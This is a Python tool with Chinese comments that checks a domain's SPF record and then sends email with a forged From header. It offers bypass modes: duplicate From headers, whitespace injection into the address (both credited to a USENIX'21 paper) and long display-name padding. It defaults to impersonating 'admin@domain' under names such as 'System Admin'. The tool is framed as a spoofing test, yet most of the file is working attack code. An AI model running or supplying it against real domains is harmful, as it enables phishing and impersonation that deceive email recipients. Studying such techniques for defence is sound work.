有关SPF邮件信息伪造的内容

import dns.resolver
import smtplib
import argparse
import sys
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formatdate, formataddr
from email.header import Header

def check_spf(domain):
    """
    检查目标域名的 SPF 记录
    """
    print(f"[*] 正在检查域名: {domain}")
    try:
        answers = dns.resolver.resolve(domain, 'TXT')
        spf_record = None
        for rdata in answers:
            txt_string = rdata.to_text().strip('"')
            if 'v=spf1' in txt_string:
                spf_record = txt_string
                break
        
        if spf_record:
            print(f"[+] 发现 SPF 记录: {spf_record}")
            return spf_record
        else:
            print("[-] 未发现 SPF 记录。域名可能容易受到欺骗攻击。")
            return None
    except Exception as e:
        print(f"[-] DNS 查询失败 (可能无记录): {e}")
        return None

def analyze_spf(spf_record):
    """
    分析 SPF 记录的安全性
    """
    print("\n--- SPF 策略分析 ---")
    if not spf_record:
        print("[-] 未发现 SPF 记录: 极其危险！任何人都可以伪造该域名的邮件。")
        return True # 无记录，易受攻击

    if "-all" in spf_record:
        print("[*] 策略模式: Hard Fail (-all)")
        print("    解释: 硬拒绝。明确告知收件方‘不在白名单的 IP 统统拒绝’。")
        print("    伪造难度: ⭐⭐⭐⭐⭐ (极高)")
        print("    注意: 除非你有 DMARC 绕过漏洞 (Header From 欺骗)，否则直接伪造 IP 会失败。")
        return False
    elif "~all" in spf_record:
        print("[!] 策略模式: Soft Fail (~all)")
        print("    解释: 软拒绝。不在白名单的 IP 也可以发，但会被标记为‘可疑’或垃圾邮件。")
        print("    伪造难度: ⭐⭐⭐ (一般)")
        print("    注意: 邮件能发出去，但大概率进垃圾箱。")
        return True
    elif "?all" in spf_record:
        print("[!] 策略模式: Neutral (?all)")
        print("    解释: 中立。不置可否，通常会被接收方放行进入收件箱。")
        print("    伪造难度: ⭐ (低)")
        return True
    elif "+all" in spf_record:
        print("[!!!] 策略模式: Allow All (+all)")
        print("    解释: 允许所有。大门敞开，任何人都可以合法伪造。")
        print("    伪造难度: ☠️ (无)")
        return True
    else:
        print("[?] 未检测到明确的 'all' 策略，默认安全策略未知，可能允许。")
        return True

def send_fake_email(sender_domain, sender_address, target_email, smtp_host, smtp_port, smtp_user, smtp_pass, use_ssl, obfuscate=False, sender_name="System Admin", exploit_type='none'):
    """
    发送邮件 function
    """
    # 如果未指定具体的发件人地址，默认伪造 admin@domain
    if not sender_address:
         sender_address = f"admin@{sender_domain}"

    subject = f"Work Report: {sender_domain}"
    body = f"""
    Hello,
    
    This is a routine system notification.
    
    Sender: {sender_address}
    Server: {smtp_host}
    
    Please confirm receipt.
    
    Best regards,
    {sender_name}
    """

    msg = MIMEMultipart()
    
    # --- 构造 From 头 (核心攻击逻辑) ---
    fake_from = formataddr((Header(sender_name, 'utf-8').encode(), sender_address))
    
    # 真实发件人 (用于欺骗过滤器) - 如果有认证用户，通常是认证用户
    real_user = smtp_user if smtp_user else sender_address
    real_from = formataddr((Header("Legit Sender", 'utf-8').encode(), real_user))

    if exploit_type == 'double-from':
        print("[!] 正在使用 USENIX'21 攻击: Double From Headers (双重头)")
        # 插入两个 From 头
        # 许多邮件系统在处理重复头时存在差异：有的看第一个，有的看最后一个。
        # 策略：第一个放伪造的（给用户看），第二个放真实的（给 SPF/DMARC 看）
        msg.add_header('From', fake_from) 
        msg.add_header('From', real_from)
        
    elif exploit_type == 'space-injection':
        print("[!] 正在使用 USENIX'21 攻击: Whitespace Injection (空格注入)")
        # 在邮箱地址尾部注入空格 "admin@baidu.com "
        # 某些解析器会包含空格导致正则匹配失败（从而绕过黑名单），但底层投递时又去掉空格。
        malformed_address = f"{sender_address} " # 注意这里的空格
        # 需要手动构造，因为 formataddr 可能会自动修正
        msg['From'] = f"{Header(sender_name, 'utf-8').encode()} <{malformed_address}>"
        
    elif obfuscate:
        # 腾讯云文章思路: From 字段名截断绕过
        print("[!] 正在应用 Header 混淆 (Padding)...")
        padding = " " * 500  
        display_name = f"{sender_name} from {sender_domain}" + padding
        msg['From'] = formataddr((display_name, sender_address))
    else:
        # 默认模式
        encoded_name = Header(sender_name, 'utf-8').encode()
        msg['From'] = formataddr((encoded_name, sender_address))
        
    msg['To'] = target_email
    msg['Subject'] = subject
    msg['Date'] = formatdate(localtime=True)
    msg.attach(MIMEText(body, 'plain'))

    print("\n" + "="*40)
    print(f"[*] 准备发送邮件...")
    print(f"    SMTP 服务器: {smtp_host}:{smtp_port} (SSL: {use_ssl})")
    print(f"    认证用户: {smtp_user if smtp_user else '无 (匿名)'}")
    print(f"    伪造发件人 (From): {sender_address}")
    print(f"    目标收件人 (To):   {target_email}")
    print("="*40)

    try:
        server = None
        if use_ssl:
            server = smtplib.SMTP_SSL(smtp_host, smtp_port, timeout=10)
        else:
            server = smtplib.SMTP(smtp_host, smtp_port, timeout=10)
            # 尝试 StartTLS
            try:
                server.starttls()
            except:
                pass 

        # 登录 (如果提供了密码)
        if smtp_user and smtp_pass:
            print("[*] 正在登录 SMTP 服务器...")
            server.login(smtp_user, smtp_pass)
            print("[+] 登录成功")

        # 发送
        # 注意: 真实的信封发件人 (MAIL FROM) 通常由 SMTP 服务器根据登录账号强制指定 (如 QQ 设置为登录邮箱)
        # 但我们可以在 DATA 内容中修改 'From' 头来尝试欺骗客户端显示
        
        # 为了测试“通过被盗用的/合法的SMTP服务器发送伪造邮件”，
        # 通常 SMTP 服务器会强制 MAIL FROM 为登录用户，但可能允许 Header From 不同。
        envelope_sender = smtp_user if smtp_user else sender_address

        server.sendmail(envelope_sender, target_email, msg.as_string())
        server.quit()
        print("[+] 邮件发送成功！请检查收件箱 (包括垃圾箱)。")
        
    except smtplib.SMTPAuthenticationError:
        print("[-] 认证失败：用户名或授权码错误。对于 QQ 邮箱，请确保使用的是授权码而不是 QQ 密码。")
    except Exception as e:
        print(f"[-] 发送失败: {str(e)}")

def main():
    parser = argparse.ArgumentParser(description="SPF 伪造测试工具 (支持 SMTP 认证)")
    
    parser.add_argument("domain", help="要测试的目标域名 (例如 company.com)")
    parser.add_argument("--to", help="接收测试邮件的邮箱地址")
    parser.add_argument("--sender", help="伪造的发件人地址 (可选，默认 admin@domain)")
    
    # SMTP 配置
    parser.add_argument("--smtp-host", default="127.0.0.1", help="SMTP 服务器地址 (默认 127.0.0.1)")
    parser.add_argument("--smtp-port", type=int, default=25, help="SMTP 端口 (QQ SSL 用 465)")
    parser.add_argument("--user", help="SMTP 认证用户名 (例如 your_qq@qq.com)")
    parser.add_argument("--password", help="SMTP 认证密码/授权码")
    parser.add_argument("--ssl", action="store_true", help="使用 SSL 连接 (QQ 邮箱必须开启)")
    parser.add_argument("--obfuscate", action="store_true", help="[进阶] 使用超长字符填充 From 头 (尝试绕过客户端显示)")
    parser.add_argument("--name", default="System Admin", help="伪造的发件人显示名称 (例如 'IT 安全中心')")
    parser.add_argument("--exploit-type", choices=['none', 'double-from', 'space-injection'], default='none', help="[核弹级] USENIX'21 论文攻击模式: double-from (双头欺骗), space-injection (空格注入)")

    args = parser.parse_args()

    # 自动处理用户可能输入的邮箱地址 (如 test@domain.com -> domain.com)
    if "@" in args.domain:
        print(f"[!] 检测到输入了邮箱地址 {args.domain}，自动截取域名部分...")
        args.domain = args.domain.split("@")[-1]

    # 步骤 1: 检查 SPF
    record = check_spf(args.domain)
    is_vulnerable = analyze_spf(record)

    # 步骤 2: 发送测试 (如果提供了接收者)
    if args.to:
        if not is_vulnerable:
             print("\n" + "!"*50)
             print("[警告] 该域名 SPF 配置非常严格 (-all)。")
             print("       直接的 IP 伪造大概率会失败 (550 Error) 或被拦截。")
             print("       除非你正在测试 'DMARC 绕过/信头欺骗' (使用真实账号发信)，否则请做好失败准备。")
             print("!"*50 + "\n")
             
        send_fake_email(
            sender_domain=args.domain, 
            sender_address=args.sender,
            target_email=args.to,
            smtp_host=args.smtp_host,
            smtp_port=args.smtp_port,
            smtp_user=args.user,
            smtp_pass=args.password,
            use_ssl=args.ssl,
            obfuscate=args.obfuscate,
            sender_name=args.name,
            exploit_type=args.exploit_type
        )
    else:
        print("\n[*] 未提供 --to 参数，仅进行 SPF 检查。如需发送测试，请添加该参数。")

if __name__ == "__main__":
    main()